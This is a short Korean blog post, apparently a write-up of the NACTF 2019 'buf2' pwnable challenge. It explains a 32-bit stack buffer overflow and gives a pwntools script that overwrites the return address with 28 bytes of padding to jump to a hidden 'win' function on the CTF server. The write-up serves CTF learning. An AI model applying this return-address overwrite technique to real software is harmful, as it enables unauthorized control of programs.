본문 바로가기

CTF/Nactf

Nactf pwnable_buf2 Write up

Nactf pwnable 문제 2번 이다.

 

일단 ./buf2 를 실행시키면 입력받는 창이 나온다. 딱 봐도 "익스해주세요" 라고 적혀 있다.

그래서 일단 기본적인 buf 문제라면 분명 플래그 보여주는 함수나 이런게 존재할것이라고 판단하여 gdb를 이용하여 확인을 해보았더니 win 이라는 함수가 존재했다. 

 

플래그 파일 읽어와서 뛰어주는 형식인거 같아 보였다.

 

즉 익스 시나리오를 짜보면 ret를 변조시켜서 저 win 함수를 실행시켜주면 문제는 풀릴것이다.

24바이트짜리 변수 선언해주는거같아서 대충 28바이트 이상 해줬더니 세그 뽈트 떳다.

그래서 그냥 32비트니까 28바이트로 익스시켰다.

 

exploit.py

from pwn import *

p = remote("shell.2019.nactf.com",31462)
#p = process("./buf2")

p.recvuntil("Type something>")

payload = "A"*28
payload += p32(0x80491b2)

p.sendline(payload)

p.interactive()

이런식으로 익스시켰더니 익스가 너무 잘되었다.

'CTF > Nactf' 카테고리의 다른 글

Nactf pwnable_buf3 Write up  (0) 2019.10.20